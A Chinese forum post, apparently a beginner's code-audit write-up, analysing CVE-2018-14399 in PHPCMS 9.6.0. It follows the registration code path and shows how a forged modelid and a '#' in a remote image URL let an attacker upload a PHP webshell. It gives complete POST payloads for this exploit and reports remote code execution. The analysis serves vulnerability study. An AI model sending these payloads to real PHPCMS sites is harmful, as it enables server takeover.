代码审计入门篇-CVE-2018-14399

小白的代码审计入门!如果有误 望大佬们帮忙指正:D

CVE-2018-14399

0x01 漏洞描述

  1. PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。

0x02 漏洞分析

因为这个漏洞的触发点在于用户注册的页面,我们先正常走一遍漏洞注册的流程

​phpcms/modules/member/index.php​

在register()​方法打一个断点,一行一行往下看,先熟悉一下整个注册的流程

然后我们可以在130​行中找到关键代码段

  1. if($member_setting['choosemodel']) {
  2. require_once CACHE_MODEL_PATH.'member_input.class.php';
  3. require_once CACHE_MODEL_PATH.'member_update.class.php';
  4. $member_input = new member_input($userinfo['modelid']);
  5. $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
  6. $user_model_info = $member_input->get($_POST['info']);
  7. }

可以看到这里先包含了两个CACHE_MODEL​下的文件,并且在后面实例化了一个对象,且实例化对象传入的值是$userinfo[‘modelid’]​

然后我们往上面找,发现$userinfo[‘modelid’]​这个变量是我们可控的变量,进入到这个方法中,详细看看做了什么操作

​caches/caches_model/caches_data/member_input.class.php​

  1. class member_input {
  2. var $modelid;
  3. var $fields;
  4. var $data;
  5. function __construct($modelid) {
  6. $this->db = pc_base::load_model('sitemodel_field_model');
  7. $this->db_pre = $this->db->db_tablepre;
  8. $this->modelid = $modelid;
  9. $this->fields = getcache('model_field_'.$modelid,'model');
  10. //初始化附件类
  11. pc_base::load_sys_class('attachment','',0);
  12. $this->siteid = param::get_cookie('siteid');
  13. $this->attachment = new attachment('content','0',$this->siteid);
  14. }

简单看看这个__construct()​方法,前面就是对数据库进行操作 $this->db​就是指定了数据库,$this->db_pre​就是指定了前缀,$this->modelid​是我们可控的一个变量,这里传入的是10​,然后这里的$this->fields​的值是birthday​,而$this->fields​所取的值是由我们传入的$modelid​变量可控的.下面就是初始化了一个附件类

然后我们重新回到phpcms/modules/member/index.php​里面继续往下走

下面调用了$member_input->get($_POST[‘info’]);​然后赋值给了$user_model_info​

我们跟进get()​方法看他做了什么操作

​caches/caches_model/caches_data/member_input.class.php​

  1. function get($data) {
  2. $this->data = $data = trim_script($data);
  3. $model_cache = getcache('member_model', 'commons');
  4. $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
  5. $info = array();
  6. $debar_filed = array('catid','title','style','thumb','status','islink','description');
  7. if(is_array($data)) {
  8. foreach($data as $field=>$value) {
  9. if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
  10. $field = safe_replace($field);
  11. $name = $this->fields[$field]['name'];
  12. $minlength = $this->fields[$field]['minlength'];
  13. $maxlength = $this->fields[$field]['maxlength'];
  14. $pattern = $this->fields[$field]['pattern'];
  15. $errortips = $this->fields[$field]['errortips'];
  16. if(empty($errortips)) $errortips = "$name 不符合要求!";
  17. $length = empty($value) ? 0 : strlen($value);
  18. if($minlength &amp;&amp; $length < $minlength &amp;&amp; !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
  19. if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
  20. if($maxlength &amp;&amp; $length > $maxlength &amp;&amp; !$isimport) {
  21. showmessage("$name 不得超过 $maxlength 个字符!");
  22. } else {
  23. str_cut($value, $maxlength);
  24. }
  25. if($pattern &amp;&amp; $length &amp;&amp; !preg_match($pattern, $value) &amp;&amp; !$isimport) showmessage($errortips);
  26. if($this->fields[$field]['isunique'] &amp;&amp; $this->db->get_one(array($field=>$value),$field) &amp;&amp; ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
  27. $func = $this->fields[$field]['formtype'];
  28. if(method_exists($this, $func)) $value = $this->$func($field, $value);
  29. $info[$field] = $value;
  30. }
  31. }
  32. return $info;
  33. }

我们简单阅读一下这些代码 首先调用了trim_script()​方法对我们传入的数据进行检测,我们再看一下这个方法做了什么

​phpsso_server/phpcms/libs/functions/global.func.php​

  1. function trim_script($str) {
  2. $str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '<\\1script\\2>', $str );
  3. $str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '<\\1iframe\\2>', $str );
  4. $str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '<\\1frame\\2>', $str );
  5. $str = preg_replace ( '/]]\>/si', ']] >', $str );
  6. return $str;
  7. }

就是过滤一些特殊符号,防止xss​等漏洞的产生,回到get()​继续往下走,后面的操作就是对我们传入的数据进行检测,有没有不符合要求的数据等等

但是在47​行

​$func = $this->fields[$field][‘formtype];​

这里传入$func​的值正好是上面我们通过$modelid​获得的值,然后我们再看一下formtype​对应的值是什么

在我们传入modelid=10​的情况下,$field=birthday​,然后birthday[formtype]=datetime​

我们继续往下看,看这个$func​会进行什么操作

在第48​行可以看到if(method_exists($this, $func)) $value = $this->$func($field, $value);​

这里调用了$func​并传入了$field​和$value​

而这里的$field​ $value​ $func​这三个变量我们都可以用

先找一下datetime()​方法如何实现

​caches/caches_model/caches_data/member_input.class.php​

  1. function datetime($field, $value) {
  2. $setting = string2array($this->fields[$field]['setting']);
  3. if($setting['fieldtype']=='int') {
  4. $value = strtotime($value);
  5. }
  6. return $value;
  7. }

发现这个方法平平无奇,并没有能够让我们利用的点,所以我们就得从其他的方法下手,但是我们如何控制$func​呢

这就要到我们的数据库看看了,我们重新回到member_input::__construct()​方法去看他是对哪个数据库进行查询

发现是对v9_model_field​这个数据表进行查询,那么我们直接把这个数据表中每一行数据modelid​和对应的formtype​数据列出来

  1. +---------+------------+
  2. | modelid | formtype |
  3. +---------+------------+
  4. | 1 | catid |
  5. | 1 | typeid |
  6. | 1 | title |
  7. | 1 | image |
  8. | 1 | keyword |
  9. | 1 | textarea |
  10. | 1 | datetime |
  11. | 1 | editor |
  12. | 1 | omnipotent |
  13. | 1 | pages |
  14. | 1 | datetime |
  15. | 1 | posid |
  16. | 1 | text |
  17. | 1 | number |
  18. | 1 | box |
  19. | 1 | template |
  20. | 1 | groupid |
  21. | 1 | readpoint |
  22. | 1 | omnipotent |
  23. | 1 | box |
  24. | 1 | copyfrom |
  25. | 1 | text |
  26. | 2 | catid |
  27. | 2 | typeid |
  28. | 2 | title |
  29. | 2 | keyword |
  30. | 2 | textarea |
  31. | 2 | datetime |
  32. | 2 | editor |
  33. | 2 | image |
  34. | 2 | omnipotent |
  35. | 2 | pages |
  36. | 2 | datetime |
  37. | 2 | posid |
  38. | 2 | groupid |
  39. | 2 | text |
  40. | 2 | number |
  41. | 2 | template |
  42. | 2 | box |
  43. | 2 | box |
  44. | 2 | readpoint |
  45. | 2 | text |
  46. | 2 | downfiles |
  47. | 2 | downfile |
  48. | 2 | text |
  49. | 2 | box |
  50. | 2 | box |
  51. | 2 | box |
  52. | 2 | text |
  53. | 2 | text |
  54. | 2 | box |
  55. | 3 | box |
  56. | 3 | template |
  57. | 3 | text |
  58. | 3 | number |
  59. | 3 | posid |
  60. | 3 | groupid |
  61. | 3 | datetime |
  62. | 3 | pages |
  63. | 3 | omnipotent |
  64. | 3 | image |
  65. | 3 | editor |
  66. | 3 | datetime |
  67. | 3 | textarea |
  68. | 3 | title |
  69. | 3 | keyword |
  70. | 3 | typeid |
  71. | 3 | catid |
  72. | 3 | box |
  73. | 3 | readpoint |
  74. | 3 | text |
  75. | 3 | images |
  76. | 3 | copyfrom |
  77. | 1 | islink |
  78. | 2 | islink |
  79. | 3 | islink |
  80. | 10 | datetime |
  81. | 11 | catid |
  82. | 11 | typeid |
  83. | 11 | title |
  84. | 11 | keyword |
  85. | 11 | textarea |
  86. | 11 | datetime |
  87. | 11 | editor |
  88. | 11 | image |
  89. | 11 | omnipotent |
  90. | 11 | pages |
  91. | 11 | datetime |
  92. | 11 | posid |
  93. | 11 | groupid |
  94. | 11 | text |
  95. | 11 | number |
  96. | 11 | template |
  97. | 11 | box |
  98. | 11 | box |
  99. | 11 | readpoint |
  100. | 11 | text |
  101. | 11 | islink |
  102. | 11 | video |
  103. | 11 | box |
  104. | 11 | box |
  105. +---------+------------+

然后我们对这些能调用的方法进行排查看是否存在安全问题,我们发现editor()​方法,存在如下代码

  1. function editor($field, $value) {
  2. $setting = string2array($this->fields[$field]['setting']);
  3. $enablesaveimage = $setting['enablesaveimage'];
  4. $site_setting = string2array($this->site_config['setting']);
  5. $watermark_enable = intval($site_setting['watermark_enable']);
  6. $value = $this->attachment->download('content', $value,$watermark_enable);
  7. return $value;
  8. }

其中$value = $this->attachment->download(‘content’, $value,$watermark_enable);​这一行值得我们注意,进一步查看

我们跟进到phpcms/libs/classes/attachment.class.php​的download​类

  1. function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
  2. {
  3. global $image_d;
  4. $this->att_db = pc_base::load_model('attachment_model');
  5. $upload_url = pc_base::load_config('system','upload_url');
  6. $this->field = $field;
  7. $dir = date('Y/md/');
  8. $uploadpath = $upload_url.$dir;
  9. $uploaddir = $this->upload_root.$dir;
  10. $string = new_stripslashes($value);
  11. if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
  12. $remotefileurls = array();
  13. foreach($matches[3] as $matche)
  14. {
  15. if(strpos($matche, '://') === false) continue;
  16. dir_create($uploaddir);
  17. $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
  18. }
  19. unset($matches, $string);
  20. $remotefileurls = array_unique($remotefileurls);
  21. $oldpath = $newpath = array();
  22. foreach($remotefileurls as $k=>$file) {
  23. if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
  24. $filename = fileext($file);
  25. $file_name = basename($file);
  26. $filename = $this->getname($filename);
  27. $newfile = $uploaddir.$filename;
  28. $upload_func = $this->upload_func;
  29. if($upload_func($file, $newfile)) {
  30. $oldpath[] = $k;
  31. $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
  32. @chmod($newfile, 0777);
  33. $fileext = fileext($filename);
  34. if($watermark){
  35. watermark($newfile, $newfile,$this->siteid);
  36. }
  37. $filepath = $dir.$filename;
  38. $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
  39. $aid = $this->add($downloadedfile);
  40. $this->downloadedfiles[$aid] = $filepath;
  41. }
  42. }
  43. return str_replace($oldpath, $newpath, $value);
  44. }

简单阅读一下,理解这段代码的作用

​$string = new_stripslashes($value);​ 因为$value​是我们可控的变量,所以这里对他进行了过滤防止注入等漏洞的产生

然后下面对我们传入的值做了一个格式的要求 if(!preg_match_all(“/(href|src)=([\“|’]?)([^ \“‘>]+\.($ext))\\2/i”, $string, $matches)) return $value;​

这个正则表达式的要求就是传入一个格式为<a href="http://www.p1ng.com/1.ext">的数据

而这里的$ext​就是$ext = ‘gif|jpg|jpeg|bmp|png’​也就是要求我们只能传入这四个后缀的数据

​dir_create($uploaddir);​然后创建一个上传文件的目录

在调用了fillurl()​方法对我们传入的数据进行进一步过滤

  1. function fillurl($surl, $absurl, $basehref = '') {
  2. if($basehref != '') {
  3. $preurl = strtolower(substr($surl,0,6));
  4. if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
  5. return $surl;
  6. else
  7. return $basehref.'/'.$surl;
  8. }
  9. $i = 0;
  10. $dstr = '';
  11. $pstr = '';
  12. $okurl = '';
  13. $pathStep = 0;
  14. $surl = trim($surl);
  15. if($surl=='') return '';
  16. $urls = @parse_url(SITE_URL);
  17. $HomeUrl = $urls['host'];
  18. $BaseUrlPath = $HomeUrl.$urls['path'];
  19. $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
  20. $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
  21. $pos = strpos($surl,'#');
  22. if($pos>0) $surl = substr($surl,0,$pos);
  23. if($surl[0]=='/') {
  24. $okurl = 'http://'.$HomeUrl.'/'.$surl;
  25. } elseif($surl[0] == '.') {
  26. if(strlen($surl)<=2) return '';
  27. elseif($surl[0]=='/') {
  28. $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
  29. } else {
  30. $urls = explode('/',$surl);
  31. foreach($urls as $u) {
  32. if($u=="..") $pathStep++;
  33. else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
  34. else $dstr .= $urls[$i];
  35. $i++;
  36. }
  37. $urls = explode('/', $BaseUrlPath);
  38. if(count($urls) <= $pathStep)
  39. return '';
  40. else {
  41. $pstr = 'http://';
  42. for($i=0;$i<count($urls)-$pathStep;$i++) {
  43. $pstr .= $urls[$i].'/';
  44. }
  45. $okurl = $pstr.$dstr;
  46. }
  47. }
  48. } else {
  49. $preurl = strtolower(substr($surl,0,6));
  50. if(strlen($surl)<7)
  51. $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
  52. elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
  53. $okurl = $surl;
  54. else
  55. $okurl = 'http://'.$BaseUrlPath.'/'.$surl;
  56. }
  57. $preurl = strtolower(substr($okurl,0,6));
  58. if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
  59. return $okurl;
  60. } else {
  61. $okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
  62. $okurl = preg_replace('/\/{1,}/i','/',$okurl);
  63. return 'http://'.$okurl;
  64. }
  65. }

再通过fileext()方法传入$file变量获取我们的$filename​的值

再将获得的filename传入getname()方法中

  1. function getname($fileext){
  2. return date('Ymdhis').rand(100, 999).'.'.$fileext;
  3. }

也就是一个生成随机数的方法,得到一个一般非法用户无法得到的文件名,再调用$upload_func方法进行文件下载

然后$upload_func在这个类初始化的时候就被设置成了copy​所以就是调用copy方法

当程序走到这个copy方法的时候,我们的文件就成功上传了上去,但是这里的后缀名是不被我们所控制的,所以我们要再找找其他方法看看是否能绕过这个限制

这个时候.我们可以看到fillful()方法中存在这样一小段代码

  1. $pos = strpos($surl,'#');
  2. if($pos>0) $surl = substr($surl,0,$pos);

这里对我们传入的url​进行了截取操作,如果我们传入的url​中存在#​字符,就会截掉后面的内容,所以也就是说我们可以通过<a href=http://ip/exp.php#1.png>​

到这一步我们整个漏洞的流程就清楚了,接下来就是exp​的构造了

我们通过传入modelid​数据,让程序不调用原本的datetime()​方法而去调用editor()​方法,成功调用editor()​方法之后,我们还需要控制$value​变量的值为我们传入目标服务器上面恶意文件的值

我们先按照正常流程来看一遍我们的$value​是什么值

按照正常的流程,我们传入的value​就是我们传入birthday​的值,但是我们并不能直接用birthday​来进行操作,因为前面有很多代码对这个值进行了过滤

而调用member_input::get()​方法的时候,传入的是我们的$_POST[‘info’]​的值,所以我们直接加一个info[exp]​就行

所以我们最终的exp​就是

  1. siteid=1&amp;modelid=11&amp;username=p1&amp;password=p1p1p1&amp;pwdconfirm=p1p1p1&amp;email=p1%40p1.com&amp;nickname=pp&amp;dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&amp;protocol=&amp;info[exp]=<a%20href=http://127.0.0.1/1.php#1.png>

虽然能够将我们的恶意文件上传到服务器,那么我们如何获取这个文件的路径呢?

后面会有一个数据库插入数据的操作,

  1. final public function insert($data, $return_insert_id = false, $replace = false) {
  2. return $this->db->insert($data, $this->table_name, $return_insert_id, $replace);
  3. }

因为这个数据表里面并没有我们传入的info​或者exp​等字段,就会报错,然后就会将我们的webshell​路径爆破出来,成功实现文件上传到rce​

0x03漏洞复现

抓取一个浏览器前台注册用户的数据包,对这个数据包中的参数进行修改

放上我们准备好的POC

  1. siteid=1&amp;modelid=11&amp;username=p1ng&amp;password=123456&amp;email=pp2@test.com&amp;info[content]=<img src=http://127.0.0.1:8000/p.txt?.php#.jpg>&amp;dosubmit=1&amp;protocol=

image.png

可以看到这里成功讲p.txt中的文件内容上传上去了
再访问成功执行phpinfo()

image.png

  • 发表于 2024-04-12 10:00:01
  • 阅读 ( 13138 )
  • 分类:漏洞分析

0 条评论

p1ng
p1ng

1 篇文章